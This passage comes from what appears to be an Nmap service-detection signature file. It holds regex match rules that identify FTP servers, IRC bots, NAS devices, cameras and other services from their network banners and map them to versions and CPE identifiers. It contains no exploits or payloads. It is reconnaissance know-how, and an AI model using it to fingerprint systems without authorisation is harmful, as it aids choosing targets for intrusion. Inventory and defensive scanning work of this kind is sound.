cpe:/a:calle_laakkonen:drawpile:0.7.0/ match drawpile m|^..\0DRAWPILE 4 ([A-Z,]+)|s p/DrawPile/ v/0.7.1 - 0.7.2/ i/protocol 4; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.7/ match drawpile m|^..\0DRAWPILE 5 ([A-Z,]+)|s p/DrawPile/ v/0.8.0/ i/protocol 5; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.0/ match drawpile m|^..\0DRAWPILE 6 ([A-Z,]+)|s p/DrawPile/ v/0.8.1/ i/protocol 6; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.1/ match drawpile m|^..\0DRAWPILE 7 ([A-Z,]+)|s p/DrawPile/ v/0.8.2 - 0.8.3/ i/protocol 7; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8/ match drawpile m|^..\0DRAWPILE 8 ([A-Z,]+)|s p/DrawPile/ v/0.8.4 - 0.8.5/ i/protocol 8; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8/ match drawpile m|^..\0DRAWPILE 9 ([A-Z,]+)|s p/DrawPile/ v/0.8.6/ i/protocol 9; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.8.6/ match drawpile m|^..\0DRAWPILE 10 ([A-Z,]+)|s p/DrawPile/ v/0.9.0 - 0.9.1/ i/protocol 10; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ match drawpile m|^..\0DRAWPILE 11 ([A-Z,]+)|s p/DrawPile/ v/0.9.2 - 0.9.5/ i/protocol 11; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ match drawpile m|^..\0DRAWPILE 12 ([A-Z,]+)|s p/DrawPile/ v/0.9.6/ i/protocol 12; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9.6/ match drawpile m|^..\0DRAWPILE 13 ([A-Z,]+)|s p/DrawPile/ v/0.9.7 - 0.9.8/ i/protocol 13; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9/ match drawpile m|^..\0DRAWPILE 14 ([A-Z,]+)|s p/DrawPile/ v/0.9.9/ i/protocol 14; flags: $1/ cpe:/a:calle_laakkonen:drawpile:0.9.9/ match drawpile m|^..\0DRAWPILE 15 ([A-Z,]+)|s p/DrawPile/ v/0.9.10 - 1.0.6/ i/protocol 15; flags: $1/ cpe:/a:calle_laakkonen:drawpile/ match drawpile m|^..\0\0\{"flags":\[([^]]+)\],"message":"Drawpile server (\d[\w._-]+)","type":"login","version":(\d+)\}|s p/DrawPile/ v/$2/ i/JSON protocol $3; flags: $1/ cpe:/a:calle_laakkonen:drawpile:$2/ match durian m|^Durian Web Application Server III ([^<]+) for Win32\r| p/Durian Web Application Server III/ v/$1/ o/Windows/ cpe:/a:mozilla:durian_web_application_server:$1/ cpe:/o:microsoft:windows/a match dvr-video m|^head\0\0\0\0[\xf9-\xfa].\0\0\x04\0\0\0\x03\0{45}[\0\x03]\0| p/LTS or QSEE DVR video server/ d/media device/ # 1024 random bytes of challenge match d-mp m|^\x01\0\0\0\x08\x04\0\0\x04\x04\0\0\0\x04\0\0.{100}| p/Dark MultiPlayer Kerbel Space Program mod/ cpe:/a:christopher_andrews:darkmultiplayer/ match dnsix m|^DNSIX$| # Port 5900. http://www.ducea.com/2008/11/24/drac-ip-port-numbers/. match drac-console m|^\0\0\0\x0c\0\0\0\?\0\0\0\x02$| p/Dell Remote Access Controller 4 console/ cpe:/h:dell:remote_access_card:4/ match dragon m|^UNAUTHORIZED\n\r\n\r$| p/Dragon realtime shell/ # https://github.com/droboports/droboports.github.io/wiki/NASD-XML-format match drobo-nasd m|^DRINASD[9a]?\0\x01\x01\0\0\0\0..<\?xml version="1\.0" encoding="utf-8"\?>\n\n\n ESAINFO\n \d+\n \d+\n \w+\n (\w+)\n ([^<]+)\n ([][\w._ ]+)\n|s p/Drobo NASD/ v/$3/ i/name: $2; sn: $1/ match drobo-dsvc m|^DRIDDSVC\x07\x01.\0\0\0..\r\n\tESAINFO\r\n\t\d+\r\n\t\d+\r\n\t0db\d+\r\n\t(tDB\d+)\r\n\t([^<]+)\r\n\t([][\w._ ]+)\r\n|s p/Drobo-FS DDSVC/ v/$3/ i/name: $2; sn: $1/ match drweb m|^0 PROTOCOL 2 [23] AGENT,CONSOLE,INSTALL| p/DrWeb/ match dynast-solver m|^DYNAST server v(.*) \(Win32\) - Copyright\(c\) DYN| p/DYNAST solver/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match echolink m|^[0-9a-f]{8}$| p/EchoLink radio-over-VoIP/ match enemyterritory m|^Welcome [\d.]+\. You have 15 seconds to identify\.\r\n| p/Enemy Territory Admin Mod/ match efi-webtools m|^\?p\xf7/Zq\xa2\xf5\x03.......\xf4\xea.......B$| p/EFI Fiery WebTools communication/ match efi-workstation m|^\(m\xe9l@k\xb7\xf5\x03$| p/EFI Fiery Command WorkStation/ match efi-workstation m|^\(m\xe9l@k\xb3\xf7\x1e\xa5$| p/EFI Fiery Command WorkStation/ match efi-workstation m|^\(m\xe9l@k\xb1\xf1\x15\xa5$| p/EFI Fiery Command WorkStation/ match efi-workstation m|^\(m\xe9l@k\xb3\xf7\x1f\xa5$| p/EFI Fiery Command WorkStation/ match eftserv m|^\?\x008 \xc3p EFTSRV1 ([\d.]+) | p/Ingenico EFTSRVd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ericom m|^Ericom GCS v([\d.]+)\0| p/Ericom PowerTermWebConnect/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match eggdrop m=^(?:\xff\xfb\x05\n)?\r\n\r\n([-`|.\w]+) \(Eggdrop v(\d[-.\w]+) +\([cC]\) *1997= p/Eggdrop irc bot console/ v/$2/ i/botname: $1/ cpe:/a:eggheads:eggdrop:$2/ match eggdrop m=^(?:\xff\xfb\x05\n)?\r\n\r\n([-`|.\w]+) \(Eggdrop v(\d[-.\w]+)\+(\S+) +\([cC]\) *1997= p/Eggdrop irc bot console/ v/$2/ i/botname: $1; patch: $3/ cpe:/a:eggheads:eggdrop:$2/ # These 2 fallbacks are because many people customize their eggdrop # banners. These rules should always be well below the detailed rule # above. match eggdrop m|\(Eggdrop v([\d.]+) \(C\) 1997 Robey Pointer.*Eggheads|s p/Eggdrop IRC bot console/ v/$1/ cpe:/a:eggheads:eggdrop:$1/ match eggdrop m|\(Eggdrop v([\d.]+)\+(\S+) \(C\) 1997 Robey Pointer.*Eggheads|s p/Eggdrop IRC bot console/ v/$1/ i/patch: $2/ cpe:/a:eggheads:eggdrop:$1/ match eggdrop m|Copyright \(C\) 1997 Robey Pointer\r\n.*Eggheads| p/Eggdrop IRC bot console/ cpe:/a:eggheads:eggdrop/ match egosecure-xmlrpc m|^<\?xml version="1\.0"\?>
EgoSecure XmlRpc Server([^<]+)([^<]+)([^<]+)| p/EgoSecure Agent xmlrpc/ v/$3/ i/protocol version $2/ h/$1/ match electra m|^login: \r\nREADY\r\n\x01\0\0\x1bA\x1bA| p/Cardinal Electra server/ cpe:/a:cardinal_kft:electra/ match emc-datadomain m|^G11\x01..\0\0\x02\x01\0\0\x10\0\0\0.{16}|s p/EMC DataDomain/ match enistic-manager m|^WZ=AAAAAAAAAAByAAE=73\r0E0000000000cgAD83\r$| p/Enistic Energy Manager/ match envisalink m|^5053CD\r\n| p/EyezOn EnvisaLink/ d/security-misc/ match epoptes-client m|^\ndie\(\) {\n echo \"epoptes-client ERROR: \$@\" >&2\n exit 1\n}\n\ninfo\(\) {\n local server_ip def_iface\n\n if \[ -z \"\$cached_info\" \]; then\n VERSION=\${VERSION:-([\d.]+)}| p/Epoptes LTSPd/ i/compat version $1/ cpe:/a:epoptes:epoptes/ match epp m|^\x00\x00..<\?xml version=\"1\.0\" encoding=\"UTF-8\" standalone=\"no\" \?>\n\n\n \n ([^<]+)\n .*\n \n ([\w._-]+)\n|s p/Extensible Provisioning Protocol/ v/$2/ h/$1/ softmatch epp m|^\0...<\?xml version="1\.0" encoding="[uU][tT][fF]-8" standalone="no"\?>\s*([^<]+)|s p/Extensible Provisioning Protocol/ i/name: $1/ # RFC 5730 softmatch epp m|^\0...<\?xml version="1\.0" encoding="[uU][tT][fF]-8" standalone="no"\?>\s*>\n\0\x0eFRP Node Ready>>\n\0\x0e| p/File Replication Pro/ match freedoko m|^FreeDoko server\n\d+\.\d+: name: ([^\n]+)\n| p/FreeDoko game server/ i/name: $1/ match ftp m|^220 ([-/.+\w]+) FTP server \(SecureTransport (\d[-.\w]+)\) ready\.\r\n| p/Tumbleweed SecureTransport ftpd/ v/$2/ h/$1/ cpe:/a:tumbleweed:securetransport:$2/ match ftp m|^220 ([-/.+\w]+) FTP server \(SecureTransport (\d[-.\w]+)\) ready\. \r\n| p/Axway SecureTransport ftpd/ v/$2/ h/$1/ cpe:/a:axway:securetransport:$2/ match ftp m|^220 3Com 3CDaemon FTP Server Version (\d[-.\w]+)\r\n| p/3Com 3CDaemon ftpd/ v/$1/ match ftp m|^220 3Com FTP Server Version ([-\w_.]+)\r\n| p/3Com ftpd/ v/$1/ # GuildFTP 0.999.9 on Windows match ftp m|^220-GuildFTPd FTP Server \(c\) \d\d\d\d(?:-\d\d\d\d)?\r\n220-Version (\d[-.\w]+)\r\n| p/Guild ftpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220-.*\r\n220 Please enter your name:\r\n| p/GuildFTPd/ o/Windows/ cpe:/o:microsoft:windows/a # Medusa Async V1.21 [experimental] on Linux 2.4 match ftp m|^220 ([-/.+\w]+) FTP server \(Medusa Async V(\d[^\)]+)\) ready\.\r\n| p/Medusa Async ftpd/ v/$2/ h/$1/ match ftp m|^220 ([-/.+\w]+)\((\d[-.\w]+)\) FTP server \(EPSON ([^\)]+)\) ready\.\r\n| p/Epson printer ftpd/ v/$2/ i/Epson $3/ d/printer/ h/$1/ match ftp m|^220 ([-/.+\w]+) IBM TCP/IP for OS/2 - FTP Server [Vv]er \d+:\d+:\d+ on [A-Z]| p|IBM OS/2 ftpd| o|OS/2| h/$1/ cpe:/a:ibm:os2_ftp_server/ cpe:/o:ibm:os2/ match ftp m|^220 ([-/.+\w]+) IBM TCP/IP f\xfcr OS/2 - FTP-Server [Vv]er \d+:\d+:\d+ .* bereit\.\r\n| p|IBM OS/2 ftpd| i/German/ o|OS/2| h/$1/ cpe:/a:ibm:os2_ftp_server::::de/ cpe:/o:ibm:os2/ match ftp m|^220 Internet Rex (\d[-.\w ]+) \(([-/.+\w]+)\) FTP server awaiting your command\.\r\n| p/Internet Rex ftpd/ v/$1/ i/$2/ match ftp m|^530 Connection refused, unknown IP address\.\r\n$| p/Microsoft IIS ftpd/ i/IP address rejected/ o/Windows/ cpe:/a:microsoft:internet_information_services/ cpe:/o:microsoft:windows/a match ftp m|^220 IIS ([\w._-]+) FTP\r\n| p/Microsoft IIS ftpd/ v/$1/ o/Windows/ cpe:/a:microsoft:internet_information_services:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 PizzaSwitch FTP server ready\r\n| p/Xylan PizzaSwitch ftpd/ match ftp m|^220 ([-.+\w]+) IronPort FTP server \(V([-.\w]+)\) ready\.\r\n| p/IronPort mail appliance ftpd/ v/$2/ h/$1/ match ftp m|^220 ([-.+\w]+) IronPort FTP server \(V([-.\w]+)\) ready\r\n| p/IronPort firewall ftpd/ v/$2/ h/$1/ match ftp m|^220 ([-.+\w]+) Cisco IronPort FTP server \(V([-.\w]+)\) ready\r\n| p/Cisco IronPort mail appliance ftpd/ v/$2/ h/$1/ match ftp m|^220 WFTPD (\d[-.\w]+) service \(by Texas Imperial Software\) ready for new user\r\n| p/Texas Imperial Software WFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220.*\r\n220 WFTPD (\d[-.\w]+) service \(by Texas Imperial Software\) ready for new user\r\n|s p/Texas Imperial Software WFTPD/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-.+\w]+) FTP server \(Version (MICRO-[-.\w:#+ ]+)\) ready\.\r\n| p/Bay Networks MicroAnnex terminal server ftpd/ v/$2/ d/terminal server/ h/$1/ match ftp m|^220 ([-.+\w]+) FTP server \(Digital UNIX Version (\d[-.\w]+)\) ready\.\r\n| p/Digital UNIX ftpd/ v/$2/ o/Digital UNIX/ h/$1/ cpe:/o:dec:digital_unix/a match ftp m|^220 ([-.+\w]+) FTP server \(Version [\d.]+\+Heimdal (\d[-+.\w ]+)\) ready\.\r\n| p/Heimdal Kerberized ftpd/ v/$2/ o/Unix/ h/$1/ match ftp m|^500 OOPS: (could not bind listening IPv4 socket)\r\n$| p/vsftpd/ i/broken: $1/ o/Unix/ cpe:/a:vsftpd:vsftpd/ match ftp m|^500 OOPS: vsftpd: (.*)\r\n| p/vsftpd/ i/broken: $1/ o/Unix/ cpe:/a:vsftpd:vsftpd/ match ftp m|^220-QTCP at ([-.\w]+)\r\n220| p|IBM OS/400 FTPd| o|OS/400| h/$1/ cpe:/o:ibm:os_400/a match ftp m|^220[- ]FileZilla Server version (\d[-.\w ]+)\r\n| p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220 ([-\w_.]+) running FileZilla Server version (\d[-.\w ]+)\r\n| p/FileZilla ftpd/ v/$2/ o/Windows/ h/$1/ cpe:/a:filezilla-project:filezilla_server:$2/ cpe:/o:microsoft:windows/a match ftp m|^220 FTP Server - FileZilla\r\n| p/FileZilla ftpd/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Welcome to ([A-Z]+) FTP Service\.\r\n220 All unauthorized access is logged\.\r\n| p/FileZilla ftpd/ o/Windows/ h/$1/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a match ftp m|^220.*\r\n220[- ]FileZilla Server version (\d[-.\w ]+)\r\n|s p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-.*\r\n220-\r\n220 using FileZilla FileZilla Server version ([^\r\n]+)\r\n|s p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-FileZilla Server\r\n| p/FileZilla ftpd/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a match ftp m|^220 FileZilla Server (\d[\w.]+)\r\n| p/FileZilla ftpd/ v/$1/ o/Windows/ cpe:/a:filezilla-project:filezilla_server:$1/ cpe:/o:microsoft:windows/a match ftp m|^431 Could not initialize SSL connection\r\n| p/FileZilla ftpd/ i/Mandatory SSL/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a match ftp m|^550 No connections allowed from your IP\r\n| p/FileZilla ftpd/ i/IP blocked/ o/Windows/ cpe:/a:filezilla-project:filezilla_server/ cpe:/o:microsoft:windows/a # Netgear RP114 switch with integrated ftp server or ZyXel P2302R VoIP match ftp m|^220 FTP version 1\.0 ready at | p/Netgear broadband router or ZyXel VoIP adapter ftpd/ v/1.0/ match ftp m|^220 ([\w._-]+) FTP version 1\.0 ready at | p/Netgear broadband router or ZyXel VoIP adapter ftpd/ v/1.0/ h/$1/ match ftp m|^220 \(none\) FTP server \(GNU inetutils ([\w._-]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$1/ cpe:/a:gnu:inetutils:$1/ match ftp m|^220 ([-.\w]+) FTP server \(GNU inetutils (\d[-.\w ]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$2/ h/$1/ cpe:/a:gnu:inetutils:$2/ match ftp m|^220 FTP server \(GNU inetutils ([\w._-]+)\) ready\.\r\n| p/GNU Inetutils FTPd/ v/$1/ cpe:/a:gnu:inetutils:$1/ match ftp m|^220 .* \(glftpd (\d[-.0-9a-zA-Z]+)_(\w+)(?:\+TLS)?\) ready\.\r\n| p/glFTPd/ v/$1/ i/$2/ o/Unix/ match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+)_(\w+) Linux\+TLS\) ready\.?\r\n| p/glFTPd/ v/$1/ i/$2/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+) Linux\+TLS\) ready\.\r\n| p/glFTPd/ v/$1/ o/Linux/ cpe:/o:linux:linux_kernel/a match ftp m|^220 .* \(glFTPd (\d[-.0-9a-zA-Z]+) FreeBSD\+TLS\) ready\.\r\n| p/glFTPd/ v/$1/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a match ftp m|^220 ([-.\w]+) FTP server \(FirstClass v(\d[-.\w]+)\) ready\.\r\n| p/FirstClass FTP server/ v/$2/ h/$1/ cpe:/a:opentext:firstclass:$2/ match ftp m|^220 ([-.\w]+) FTP server \(Compaq Tru64 UNIX Version (\d[-.\w]+)\) ready\.\r\n| p/Compaq Tru64 ftp server/ v/$2/ o/Tru64 UNIX/ h/$1/ cpe:/o:compaq:tru64/a match ftp m|^220 Axis ([\w._ -]+) Network Camera(?: version)? (\d\S+) \((.*)\) ready\.\r\n|i p/Axis $1 Network Camera ftpd/ v/$2/ i/$3/ d/webcam/ cpe:/h:axis:$1_network_camera/ match ftp m|^220 Axis ([\w._ -]+) Network Camera ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ match ftp m|^220 AXIS ([\w._ -]+) Network Camera ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ match ftp m|^220 Axis ([\w._ -]+) Network Camera ([\w._-]+) \w+ \d+ \d+ ready\.\r\n| p/Axis $1 Network Camera ftpd/ v/$2/ d/webcam/ cpe:/h:axis:$1_network_camera/ match ftp m|^220 AXIS ([\w._ -]+) Video Encoder ([\w._-]+ \(\w+ \d+ \d+\)) ready\.\r\n| p/Axis $1 Video Encoder ftpd/ v/$2/ d/media device/ cpe:/h:axis:$1_video_encoder/ match ftp m|^220 AXIS ([-.\w]+) FTP Network Print Server V(\d[-.\w]+) [A-Z][a-z]| p/Axis network print server ftpd/ v/$2/ i/Model $1/ d/print server/ match ftp m|^220 AXIS ([\d\w]+)V(\d\S+) (.*?) ready\.\n| p/AXIS $1 Webcam ftpd/ v/$2/ i/$3/ d/webcam/ cpe:/h:axis:$1/a match ftp m|^220 AXIS ([+\d]+) Video Server ?(\d\S+) (.*?) ready\.| p/AXIS $1 Video Server ftpd/ v/$2/ i/$3/ match ftp m|^220 AXIS (\w+) Video Server (\d\S+) \(.*\) ready\.\r\n| p/AXIS $1 Video Server ftpd/ v/$2/ match ftp m|^220 AXIS 205 version ([\d.]+) \(.*\) ready\.\r\n| p/AXIS 205 Network Video ftpd/ v/$1/ d/webcam/ match ftp m|^220 AXIS 250S MPEG-2 Video Server ([\d.]+) \([^)]+\) ready\.\r\n| p/AXIS 250S Network Video ftpd/ v/$1/ d/webcam/ match ftp m|^220 AXIS (\w+) Video Server ([\d.]+) \([^)]+\) ready\.\r\n| p/AXIS $1 Video Server ftpd/ v/$2/ d/media device/ match ftp m|^220 AXIS (\w+) Video Server Blade ([\w._-]+) \([^)]+\) ready\.\r\n| p/AXIS $1 Video Server Blade ftpd/ v/$2/ d/media device/ match ftp m|^220 AXIS StorPoint CD E100 CD-ROM Server V([\d.]+) .* ready\.\r\n| p/AXIS StorPoint E100 CD-ROM Server ftpd/ v/$1/ d/storage-misc/ cpe:/h:axis:storpoint_cd_e100/ match ftp m|^220 AXIS (.+) FTP Network Print Server V([-\w_.]+) | p/AXIS $1 print server ftpd/ v/$2/ d/print server/ cpe:/h:axis:$1/a match ftp m|^220 AXIS ([\d/+]+) FTP Print Server V([-\w_.]+) | p/AXIS $1 print server ftpd/ v/$2/ d/print server/ cpe:/h:axis:$1/a match ftp m|^220 AXIS (\w+) Network Fixed Dome Camera (.*) ready\.\r\n| p/AXIS $1 camera ftpd/ v/$2/ d/webcam/ match ftp m|^220-Cerberus FTP Server Personal Edition\r\n220-UNREGISTERED\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-This is the UNLICENSED personal edition and may be used for home, personal use only\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-This is the UNLICENSED personal edition and may be used for home, personal use only\r\n220 Connected to Aurora FTP server\.\.\.\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Cerberus FTP Server - Personal Edition\r\n220-UNREGISTERED\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Grant Averett\r\n| p/Cerberus FTP Server/ i/Personal Edition; Unregistered/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220-Welcome to Cerberus FTP Server\r\n220 Created by Grant Averett\r\n| p/Cerberus ftpd/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^421-Not currently accepting logins at this address\. Try back \r\n421 later\.\r\n| p/Cerberus ftpd/ i/banned/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 Welkom@([\w._-]+)\r\n521 Not logged in - Secure authentication required\r\n| p/Cerberus ftpd/ o/Windows/ h/$1/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a match ftp m|^220 FTP print service:V-(\d[-.\w]+)/Use the network password for the ID if updating\.\r\n| p|Brother/HP printer ftpd| v/$1/ d/printer/ match ftp m|^220- APC FTP server ready\.\r\n220 \r\n$| p/APC ftp server/ d/power-device/ # HP-UX 10.x or AIX match ftp m|^220 ([-\w]+) FTP server \(Version (\d[\w._-]+) [A-Z][a-z]{2} [A-Z][a-z]{2} .*\) ready\.\r\n| p/HP-UX or AIX ftpd/ v/$2/ o/Unix/ h/$1/ match ftp m|^220 Serveur FTP ([\w.-]+) \(Version ([\d.]+) [\w: ]+\) pr\xeat\.\r\n| p/HP-UX or AIX ftpd/ v/$2/ i/French/ h/$1/ match ftp m|^220[- ]Roxen FTP server running on Roxen (\d[-.\w]+)/Pike (\d[-.\w]+)\r\n| p/Roxen ftp server/ v/$1/ i/Pike $2/ # Debian packaged oftpd 0.3.6-51 on Linux 2.6.0-test4 Debian match ftp m|^220 Service ready for new user\.\r\n| p/oftpd/ o/Unix/ # Mac OS X Client 10.2.6 built-in ftpd match ftp m|^220[ -].*FTP server \(lukemftpd (\d[-. \w]+)\) ready\.\r\n|s p/LukemFTPD/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match ftp m|^220.*Microsoft FTP Service \(Version (\d[^)]+)| p/Microsoft ftpd/ v/$1/ o/Windows/ cpe:/a:microsoft:ftp_service:$1/ cpe:/o:microsoft:windows/a # This lame version doesn't give a version number # Windows 2003 match ftp m|^220[ -]Microsoft FTP Service\r\n| p/Microsoft ftpd/ o/Windows/ cpe:/a:microsoft:ftp_service/ cpe:/o:microsoft:windows/a match ftp m|^220[ -]Serv-U FTP[ -]Server v([\w._-]+) | p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-Serv-U FTP Server for Winsock\r\n| p/Serv-U ftpd/ o/Windows/ cpe:/a:serv-u:serv-u/ cpe:/o:microsoft:windows/a match ftp m|^220 Serv-U FTP-Server v([-\w_.]+ build \d+) for WinSock ready\.\.\.\r\n| p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-FTP Server v([\d.]+) for WinSock ready\.| p/Serv-U ftpd/ v/$1/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a match ftp m|^220-SECURE FTP SERVER VERSION ([\d.]+) \(([-\w_.]+)\)\r\n| p/Serv-U ftpd/ v/$1/ i/Name $2/ o/Windows/ cpe:/a:serv-u:serv-u:$1/ cpe:/o:microsoft:windows/a match ftp m|^431 Unable to negotiate secure command connection\.\r\n| p/Serv-U ftpd/ i/SSL Required/ o/Windows/ cpe:/a:serv-u:serv-u/ cpe:/o:microsoft:windows/a match ftp m|^220-Sambar FTP Server Version (\d\S+)\x0d\x0a| p/Sambar ftpd/ v/$1/ cpe:/a:sambar:sambar_server:$1/ # Sambar server V5.3 on Windows NT match ftp m|^220-FTP Server ready\r\n220-Use USER user@host for native FTP proxy\r\n220 Your FTP Session will expire after 300 seconds of inactivity\.\r\n| p/Sambar ftpd/ cpe:/a:sambar:sambar_server/ match ftp m|^220 JD FTP Server Ready| p/HP JetDirect ftpd/ d/print server/ match ftp m|^220.*Check Point FireWall-1 Secure FTP server running on|s p/Check Point Firewall-1 ftpd/ d/firewall/ cpe:/a:checkpoint:firewall-1/ match ftp m|^220[- ].*FTP server \(Version (wu-[-.\w]+)|s p/WU-FTPD/ v/$1/ o/Unix/ cpe:/a:redhat:wu_ftpd:$1/ match ftp m|^220-\r\n220 ([-.\w]+) FTP server \(Version ([-.+\w()]+)\) ready\.\r\n$| p/WU-FTPD/ v/$2/ o/Unix/ h/$1/ cpe:/a:redhat:wu_ftpd:$2/ match ftp m|^220 ([-.\w]+) FTP server \(Revision ([\d.]+) Version wuftpd-([-.+\w()]+) [^)]*\) ready\.\r\n$| p/WU-FTPD/ v/$3/ i/revision $2/ o/Unix/ h/$1/ cpe:/a:redhat:wu_ftpd:$3/ match ftp m|^220 ([-.\w]+) FTP server \(Version ([-.+\w()]+)\) ready\.\r\n$| p/WU-FTPD or MIT Kerberos ftpd/ v/$2/ o/Unix/ h/$1/ # ProFTPd 1.2.5 match ftp m|^220 Server \(ProFTPD\) \[([-.\w]+)\]\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^220 ProFTPD (\d\S+) Server| p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a match ftp m|^220 FTP Server \[([-\w_.]+)\]\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^220 ([-\w_.]+) FTP server ready\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^220.*ProFTP[dD].*Server ready| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a match ftp m|^220 ProFTP Server Ready\r\n| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a match ftp m|^220 ProFTP Ready\r\n| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a match ftp m|^220 Welcome @ my\.ftp\.org\r\n$| p/ProFTPD/ o/Unix/ cpe:/a:proftpd:proftpd/a match ftp m|^220-.*\r\n220 ProFTPD ([\d.]+) Server|s p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a match ftp m|^220 .* FTP Server \(ProFTPD ([\d.]+) on Red Hat linux ([\d.]+)\) ready\.\r\n| p/ProFTPD/ v/$1/ i/RedHat $2/ o/Linux/ cpe:/a:proftpd:proftpd:$1/a cpe:/o:redhat:linux/ match ftp m|^220 ProFTP-Server auf ([-\w_.]+)\r\n| p/ProFTPD/ i/German/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd::::de/ match ftp m|^220.*\r\n220 ProFTPD ([\w._-]+) Server \(ProFTPD\)|s p/ProFTPD/ v/$1/ o/Unix/ cpe:/a:proftpd:proftpd:$1/a # Hope these aren't too general -Doug match ftp m|^220 ([-\w_.]+) FTP server ready!\r\n| p/ProFTPD/ o/Unix/ h/$1/ cpe:/a:proftpd:proftpd/a match ftp m|^220 FTP Server ready\.\r\n$| p/ProFTPD or KnFTPD/ o/Unix/ match ftp m|^220.*NcFTPd Server | p/NcFTPd/ o/Unix/ match ftp m|^220 ([-\w_.]+) FTP server \(SunOS 5\.([789])\) ready| p/Sun Solaris $2 ftpd/ o/Solaris/ h/$1/ cpe:/o:sun:sunos:5.$2/ match ftp m|^220 ([-\w_.]+) FTP server \(SunOS (\S+)\) ready| p/Sun SunOS ftpd/ v/$2/ o/Solaris/ h/$1/ cpe:/o:sun:sunos:$2/ match ftp m|^220-([-.\w]+) IBM FTP.*(V\d+R\d+)| p|IBM OS/390 ftpd| v/$2/ o|OS/390| h/$1/ cpe:/o:ibm:os_390/a match ftp m|^220-IBM FTP, .*\.\r\n220 Connection will close if idle for more than 120 minutes\.\r\n| p|IBM OS/390 ftpd| o|OS/390| cpe:/o:ibm:os_390/a match ftp m|^220 VxWorks \((\d[^)]+)\) FTP server ready| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a match ftp m|^220 VxWorks \(VxWorks(\d[^)]+)\) FTP server ready| p/VxWorks ftpd/ v/$1/ o/VxWorks/ cpe:/o:windriver:vxworks/a match ftp m|^220 VxWorks FTP server \(VxWorks ?([\d.]+) - Secure NetLinx version \(([\d.]+)\)\) ready\.\r\n| p|AMX NetLinx A/V control system ftpd| v/$2/ i/VxWorks $1/ d/media device/ o/VxWorks/ 